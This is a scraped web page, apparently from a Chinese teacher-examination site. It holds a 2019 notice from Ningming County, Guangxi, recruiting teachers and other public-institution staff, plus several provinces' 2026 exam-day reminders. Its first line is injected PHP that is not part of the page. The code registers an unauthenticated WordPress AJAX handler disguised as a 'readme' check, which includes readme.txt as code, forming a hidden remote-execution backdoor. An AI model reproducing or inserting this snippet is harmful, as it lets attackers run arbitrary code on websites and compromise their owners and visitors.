if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
广西宁明县2019急需招聘教师岗176人公告-全国教师资格考试网

广西宁明县2019急需招聘教师岗176人公告

  根据《关于进一步做好艰苦边远地区县乡事业单位公开招聘工作的通知》(人社部规〔2016〕3号)、《关于加强基层专业技术人才队伍建设的实施意见》(桂人社发〔2017〕60号)、《广西壮族自治区事业单位公开招聘人员实施办法》(桂人社发〔2011〕155号)、《实施乡村振兴战略人力资源和社会保障服务措施》(桂人社规〔2018〕28号)精神,经县委、县政府同意,宁明县面向社会公开招聘一批事业单位急需紧缺工作人员。现将有关事项公告如下:
  一、报考条件
  (一)具有中华人民共和国国籍;
  (二)遵纪守法,品行端正,具有良好的职业道德;
  (三)具有履行岗位职责所需的文化程度、知识和能力;
  (四)适应岗位要求的身体条件;
  (五)具备招聘单位规定的招聘岗位所要求的其它资格条件。
  (六)报考要求有基层工作经历的,报考者必须具备以下五种情形之一的基层和生产一线工作经历:
  1.在县级以下党政机关(含参照公务员法管理机关(单位),下同)的工作经历。
  2.在国有企事业单位的工作经历。
  3.在村(社区)组织及其他经济组织、社会组织的工作经历。
  4.离校未就业高校毕业生到高校毕业生实习见习基地(该基地为基层单位)参加见习或者到企事业单位参与项目研究的经历。
  5.在军队团和相当团以下单位工作的经历。
  全日制或脱产就读期间参加社会实践、实习、兼职等不能作为基层工作经历。
  报考限定学位层次的岗位,学位要与该岗位所限定的专业相符。
  报考人员不能报考与本人有应回避关系的岗位。
  非普通高等学历教育的其他国民教育形式(如自学考试、成人教育、网络教育、夜大、电大等)毕业生,2019年11月4日前取得毕业证、符合岗位资格条件的,可以报考。
  根据《关于在基层事业单位公开招聘中定向招聘服务基层项目人员的通知》(桂人社函〔2014〕203号)文件精神,定向招聘对象为服务期满(以各项目规定的服务期满为准),且服务期内年度考核均达到合格(称职)以上等次的我  区服务基层项目人员,即“选聘高校毕业生到村任职工作”、“高校毕业生到农村基层支教、支农、支医和扶贫计划”、“大学生志愿服务西部计划”、“城市街道(社区)党建组织员”等服务基层项目人员。通过定向招聘获聘人员在招聘单位最低服务年限为3年,3年内不允许调离。
根据《关于进一步完善我区基层医疗卫生机制的指导意见》(桂人社发〔2015〕37号)文件精神,基层医疗卫生机构新进用编人员,在基层医疗机构工作不得少于5年。
  本次招聘所涉及的基层工作经历,年龄,工作年限,任职年限,处罚期限等有关资格条件的时间计算,均以2019年11月4日为截止日期,年限按足年足月累计(如35周岁以下的为1983年11月4日以后出生、40周岁以下的为1978年11月4日以后出生)。
  (七)具有下列情形之一的人员,不得报考:
  1.曾因犯罪受过刑事处罚的人员和曾被开除公职或学籍的人员;
  2.现役军人;
  3.受党纪政纪处分尚未解除的;
  4.因违法违纪正被立案调查的;
  5.在各级公务员招考或事业单位公开招聘中被认定有舞弊等严重违反招考纪律行为的;
  6.在读的普通高校非2019年应届毕业生(其中,脱产在读的非2019年应届毕业的专升本人员、研究生也不能以原已取得的学历、学位证书报考);
  7.法律法规及有关文件规定不得聘用为事业单位工作人员、教师的;
  8.我县基层事业单位近年降低门槛免笔试、定向招聘等方式招聘进来,未满最低服务年限的;
  9.其他不符合报名资格条件的;
  (八)在职在编的教师不得报考教师岗位。
  二、招聘范围和对象
  招聘范围和对象,详见附件岗位表。   
  三、报名与资格审查
  (一)笔试部分
  1.岗位查询
  报考人员(含免笔试)从2019年10月25日起,可登录崇左人才网(http://cz.gxrc.com/)和宁明新闻网(http://www.gxnmnews.com/)查阅《岗位表》,可对招聘岗位的专业、学历、学位、专业技术资格等资格条件进行咨询(咨询电话详见招聘计划表)。考生所学专业、学历等与岗位表要求资格条件表述不符的,不可报名。本次招聘考试专业设置参照附件5:《广西壮族自治区公务员考试专业分类指导目录》(2019年版),考生报名的专业要与该目录的专业一致。(报考教师岗位的除外,具体查看教师岗位表)
  2.现场报名
  本次招聘考试报名以现场报名的方式进行(不接受寄送纸质的报考申请材料,不接受网上报名)。
  报考其他事业单位岗位的现场报名地点设在宁明县人社局一楼大厅(宁明县兴宁大道东劳动大厦)。在2019年11月4日前必须将“附件1:宁明县事业单位公开招聘报名登记表”和“附件6:宁明县2019年事业单位公开招聘急需紧缺工作人员报考信息表”电子版发送至zc8688626@163.com,邮箱。
  报考教师岗位的现场报名地点设在宁明县教育局一楼(宁明县城中镇新明路2号)。
  报考乡镇卫生院岗位(免笔试)的现场报名地点设在宁明县卫健局一楼(宁明县明阳街39号)。
  凡符合报考条件要求的报考者,报名具体程序如下:
  (1)提交报考申请。
  现场报名时间:2019年11月5日(上午8:00-12:00,下午15:00-18:00),2019年11月6日(上午8:00-12:00,下午15:00-18:00),2019年11月7日(上午8:00-12:00,下午15:00-18:00)(共3天)。
  报考人员登录崇左人才网(http://cz.gxrc.com/)和宁明新闻网(http://www.gxnmnews.com/)下载并填写《宁明县事业单位公开招聘报名登记表》(一式三份),粘贴近期1寸白底免冠照片,登记表分正反面,须双面打印并填写完整。报考人员提供身份证、户口簿、毕业证、学位证及招聘岗位要求的其它有关材料报名。报考人员所提交的申请材料必须真实、准确,提供虚假材料或发现不符合资格要求,一经查实,立即予以取消面试、考核、体检、公示、聘用的资格。报考村两委岗位的,个人材料须经乡镇党委审核推荐、县级党委组织部资格预审合格(盖章)后,方可报名。
  验证时需提交上述证件的原件及复印件(A4纸)一式一份,复印件按上述顺序装订成册。
  报考人员只能选报一个岗位,不得用新、旧两个身份证号重复报名,报名和考试时使用的身份证必须一致。报名时,报考人员要仔细阅读有关报考注意事项、资格条件,提交的所有报考申请材料信息必须真实、准确。报名信息经确认后无法修改。因报名提交的申请材料不真实、不完整、不清晰或错误填写报名信息,而造成资格审查、考察不通过等后果,由报考人员自行承担责任。报考人员提供虚假报考申请材料信息的,一经查实,即取消报考资格。对伪造、变造有关证件、材料、信息,骗取考试资格的,将按照《事业单位公开招聘违纪违规行为处理办法》(人社部令50号)的有关规定处理。
  (2)公共科目笔试开考比例。岗位计划招聘人数与报考人数比例达到1∶3的方可开考。对达不到1:3比例但确需在今年补缺的岗位,各招聘单位须向主管部门申请,经我县人社部门审核同意后,方能开考。
无人报考或通过减少招聘计划人数仍未达到开考比例的岗位,将取消该岗位招聘计划,由县人力资源和社会保障局和有关主管部门在宁明县新闻网(http://www.gxnmnews.com/)公布。
  3.资格审查
  (1)资格审查方式
  资格审查采取现场审查和过后复查的方式。资格审查工作由县人社局和有关招聘主管部门负责。资格审查时,要严格依据公告规定的岗位资格条件,在规定的时限内对报考人员提交的材料进行审查。对招考岗位要求的学历、专业等资格条件方面的问题,由资格审查单位负责解释。
  (2)资格审查时间:2019年11月5日(上午8:00-12:00,下午15:00-18:00),2019年11月6日(上午8:00-12:00,下午15:00-18:00),2019年11月7日(上午8:00-12:00,下午15:00-18:00)(共3天)。
  11月5日8:00至11月7日18:00期间,报名申请未能通过资格审查的,可以直接改报其他岗位,报名确认后已经通过资格审查的,不能再报考其他岗位。
  因原岗位取消招聘的,11月8日改报岗位的报考人员,资格审查单位应于当日17:00前完成资格审查。
  4.现场缴费
  缴费时间:2019年11月5日(上午8:00-12:00,下午15:00-18:00),2019年11月6日(上午8:00-12:00,下午15:00-18:00),2019年11月7日(上午8:00-12:00,下午15:00-18:00)(共3天)。
  提交报名申请的人员,需在规定时间内按时缴费。考试费按照自治区物价局、财政厅《关于重新明确事业单位公开招聘工作人员考试收费有关问题的通知》(桂价费〔2010〕269号)文件规定的标准收费,考试费每科每人50元,考试科目为1门,共计50元,不收取报名费。报考人员未在规定时间内完成缴费的,视为放弃报考资格。
  对报考因达不到笔试开考比例而不予开考的岗位且改报未成功的人员,退还其考试费。
  5.岗位改报
  报考人员已通过资格审查且缴费成功,但所报考岗位因达不到开考比例而取消招聘的,接到资格审查单位通知后,可于2019年11月8日(上午8:30-12:00,下午3:30-16:00)期间改报其他岗位,资格审查时间延长至11月8日17:00。
  6.领取准考证
  报考人员凭身份证、缴费收据于2019年11月15日(上午8:30-12:00,下午3:30-17:30)到宁明县人力资源和社会保障局(一楼大厅)领取《准考证》(注:报考教师岗位的到宁明县教育局人事股领取。报考乡镇卫生院的无需领取     准考证,但须在面试前领取面试通知书,具体由县卫健局另行通知)。报考人员按准考证上指定的时间、地点参加考试。笔试时需携带本人身份证、准考证参加考试,两者缺一不可。
  准考证是参加笔试、面试的重要凭证,须妥善保管。
  7.笔试考试
  (1)笔试科目
  其他事业单位招聘:笔试科目为《综合知识测试》,以闭卷方式进行。《综合知识测试》考试时限为120分钟,满分为100分。   
  教师招聘:笔试科目为《教育综合知识测试》,以闭卷方式进行。《教育综合知识测试》考试时限为120分钟,满分为100分。
  (2)笔试内容
  其他事业单位主要考核职业能力倾向测验和综合应用能力;教师招聘主要考核教育学与教学法基础知识和教育心理学与德育工作基础知识。
  (3)笔试时间:2019年11月16日上午9:00-11:00  
  报考其他事业单位岗位的科目为《综合测试》
  报考教师岗位的科目为《教育综合知识测试》
  (4)考试地点:宁明县(详见《准考证》)。
  报考人员参加笔试,必须携带本人笔试准考证和有效居民身份证。
  (5)笔试组织:笔试的考务工作由县人力资源和社会保障局和有关主管部门统一组织实施。
  (6)笔试成绩查询:11月中下旬,考生可登陆宁明新闻网(http://www.gxnmnews.com/)查询本人笔试成绩。
  (7)合格分数线确定:根据笔试成绩,划定合格分数线。合格分数线由县人力资源和社会保障局和有关主管部门划定。不达到合格分数线的,不能确定为面试人选。
  (二)免笔试部分
  1.招聘说明:计划表中注明为免笔试的岗位;乡镇卫生院岗位的人员(此类人员一经录用,在所录用的基层医疗卫生机构服务期限不少于5年)。
  2.招聘方式:采取免笔试直接进入面试、考核的方式招聘。
  3.有关事项
  (1)招聘岗位、人数和条件
  招聘岗位名称、招聘人数、资格条件及范围,详见附件。
  (2)报名时间、地点
  报考者只能报考一个单位的一个岗位,且不能同时报名笔试和免笔试岗位。报名和考试时只能使用第二代身份证。认真填写《宁明县事业单位公开招聘报名登记表》并打印一式三份到现场报名。
  时间:免笔试岗位与笔试岗位报名时间相同
  地点:其他事业单位免笔试岗位现场报名地点设在宁明县人社局一楼大厅(宁明县兴宁大道东劳动大厦);乡镇卫生院岗位现场报名地点设在宁明县卫健局一楼(宁明县明阳街39号)
  (3)提交的证件材料
  报考人员提供身份证、户口簿、毕业证、学位证及招聘岗位要求的其它有关证件报名。报考人员所提交的申请材料必须真实、准确,提供虚假材料或发现不符合资格要求,一经查实,立即予以取消面试、考核、体检、公示、聘用的资格。
  验证时需提交上述证件的原件及复印件(A4纸)一式一份,复印件按上述顺序装订成册。
  四、面试
  报考其他事业单位岗位的笔试部分与免笔试部分考生同时参加面试。报考教师岗位的和报考乡镇卫生院的考生具体时间由各有关主管部门确定。
  (一)面试入围人选
  由县人力资源和社会保障局根据招聘岗位的招聘人数,按笔试合格成绩从高分到低分以1:3的比例确定面试入围人选(如末名出现成绩并列的,一并入围)。除了同意达不到1:3比例开考的岗位外,笔试成绩与免笔试岗位达不到1:3面试比例的岗位,属特殊岗位确实需要进人的,必须经招聘单位主管部门同意,报县人力资源和社会保障局批准后,才能进入面试程序。
  (二)发布面试公告
  面试人选确定后,由面试实施机关在相关的网站上发布面试公告(通知)。在宁明新闻网(http://www.gxnmnews.com/)公布,并由县人力资源和会社保障局或有关主管部门以书面形式或电话(信息)形式通知进入面试人员。
  面试公告发布后,自愿放弃面试资格或者面试资格审查不合格的,不再递补面试人选。
  (三)面试命题和组织。
  1.面试试题命制:由县人力资源和社会保障局和有关主管部门商上级有关部门组织面试试题的命制。
  2.教师岗位面试试题由县招聘领导小组组织命题,面试形式采取试讲方式进行。面试主要考核应聘人员的职业道德、心理素质、仪表仪态、言语表达、思维品质等教学基本素养和教学设计、教学实施、教学评价等教学基本技能。
  3.面试的组织实施工作由县人力资源和社会保障局和有关主管部门组织,评委由具有考官资格的人员组成。
  面试按照《广西壮族自治区事业单位公开招聘工作人员面试工作规则(试行)》进行。
  4.面试时间和地点:2019年11月30日,如有变动另行通知。地点另行通知。(教师招聘和乡镇卫生院招聘另行确定)
  5.面试分值满分为100分。面试成绩在当天面试结束后当场公布。面试成绩60分为合格,面试成绩不合格,不得确定为考核人选。
  总成绩为笔试成绩+面试成绩。
  五、考核
  (一)招聘单位从笔试、面试均合格的人员中,以总成绩由高分到低分按招聘人数1:1比例确定考核人选(如末一名出现成绩并列排名,未能确定考核人选的,总成绩相同时,以面试成绩高的确定人选)。考核工作由县人社局会同主管部门具体组织实施。考核内容主要考察报考人员的思想政治表现、道德品质、业务能力、工作实绩、勤政廉政等情况,并对报考人员资格条件及相关情况进行复查。考核要成立考核工作小组,每组由2名及以上工作人员组成。考核小组要对各方面的意见进行分析,采取实事求是的态度,准确把握被考核对象的情况,全面、客观、公正地予以评价。考核结束后要形成书面材料,明确提出考核意见,提交招聘领导小组讨论确定体检人选。
  (二)考核方法参照公务员录用的考核方法执行。
  考核时将全部考核内容加以量化,进行评分比较,考核分数达到60分以上和评价等次为合格以上方为考核合格。如果考核不合格或考生自动放弃的,在该岗位面试合格的人选中,按总成绩从高分到低分依次递补考核人选。
  六、体检
  (一)体检标准参照最新修订后的《公务员录用体检通用标准(试行)》及《公务员录用体检操作手册(试行)》执行。如体检不合格或自动放弃的,可在报考同一岗位面试、考核合格的人选中,按总成绩从高分到低分依次递补。
  (二)对《公务员录用体检通用标准(试行)》中的心率、视力、听力、血压等项目达不到体检合格标准的,应安排当日复检;对边缘性心脏杂音、病理性心电图、病理性杂音、频发早搏(心电图证实)等项目达不到体检合格标准的,应安排当场复检。报考人员对非当日、非当场复检的体检项目结果有疑问的,可以在接到体检结论通知之日起7日内向体检实施机关提交复检申请,经批准后由县人力资源和社会保障局和有关主管部门组织到符合规定条件的医院进行复检。体检实施机关和体检医疗机构及其工作人员应对复检项目严格保密。原则上,非当日当场复检的项目,不得在原体检医院进行复检,复检只能进行一次,体检结果以复检结论为准。复检内容为对体检结论有影响的项目。按《公务员录用体检特殊标准(试行)》执行的体检项目均不进行复检。
  (三)体检由县人力资源和社会保障局和有关主管部门组织实施。体检费用由考生负担。体检合格人员确定为拟聘人选。
  七、公示
  从考核、体检都合格的人员中按总成绩排序,以1:1的比例确定拟聘人员,分别报县人力资源和社会保障局或有关主管部门同意后,在宁明新闻网(www.gxnmnews.com)公示,公示时间为7个工作日。公示期间对拟聘人员有异议的,招聘单位及其主管部门要及时进行复查,如有不符合招聘岗位条件或弄虚作假的,取消聘用资格。拟聘用人员公示后,自动放弃聘用资格或公示不合格的,不再递补聘用人选。
  八、人员聘用
  (一)公示期满无异议的,由拟聘人员填写《宁明县事业单位公开招聘工作人员审核表》,经主管部门审核后,由县人力资源和社会保障局或有关主管部门将拟聘用人员名单报宁明县人民政府审批。
  (二)经宁明县人民政府批准聘用的人员,由县人力资源和社会保障局或有关主管部门给予办理聘用、入编手续。
  (三)招聘单位应与受聘人员签订《事业单位人员聘用合同书》。聘用后的管理按国家和自治区相关规定执行。
  九、组织纪律
  (一)招聘单位和主管部门要贯彻“公开、平等、竞争、择优”的原则,切实加强对这次招聘工作的领导,精心组织,周密部署,密切配合,确保公开考试招聘工作有序开展。
  (二)招聘工作实行公务回避制度。凡与招聘单位负责人有夫妻关系、直系血亲关系、三代以内旁系血亲关系、近姻亲关系的,不得被聘在本单位秘书、人事、财务、纪检监察以及有直接上下级领导关系的岗位。招聘工作人员、体检医务人员在公开招聘过程中,如遇与自己有上述亲属关系的,也应当回避。
  (三)严格公开招聘纪律,对有下列情形的,必须严肃处理:
  1、报考人员伪造、涂改证件、证明,或以其他不正当手段获取应聘资格的;
  2、报考人员在考试考核过程中作弊的;
  3、招聘工作人员指使、纵容他人作弊,或在考试考核过程中参与作弊的;
  4、招聘工作人员故意泄露考试题目的;
  5、事业单位负责人员违反规定私自聘用人员的;
  6、政府人事行政部门、事业单位主管部门工作人员违反规定,影响招聘公平、公正的;
  7、违反《广西壮族自治区事业单位公开招聘工作人员实施办法》(桂人社发〔2011〕155号)规定的其他情形的。
  (四)对违反招聘纪律或不具备招聘资格、弄虚作假、隐瞒真实情况的应聘人员,取消考试资格或聘用资格,并在2年内禁止参加应聘事业单位岗位和参加录用公务员考试。对违规招聘的人员,一经查实,公开招聘工作主管机关不予认可;已聘用的人员,解除聘用合同,予以清退。
  十、本简章由宁明县人力资源和社会保障局、宁明县教育局和宁明县卫生健康局负责解释。
  报考咨询电话:
  0771-8688626(宁明县人社局专技事业股)
  0771-8632311(宁明县教育局人事股)
  0771-8623598(宁明卫生健康局办公室)
  附件(附件1-6详见网页底端附件下载处):1.宁明县事业单位公开招聘报名登记表
  2.宁明县2019年事业单位急需紧缺工作人员公开招聘工作人员岗位汇总表(其他事业单位)
  3.宁明县2019年事业单位急需紧缺教师公开招聘岗位汇总表(教师招聘)
  4.宁明县2019年乡镇卫生院急需紧缺工作人员公开招聘岗位汇总表(乡镇卫生院)
  5.《广西壮族自治区公务员考试专业分类指导目录》(2019年版)
  6.宁明县2019年事业单位公开招聘急需紧缺工作人员报考信息表
  附件:附件:1-6.rar

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部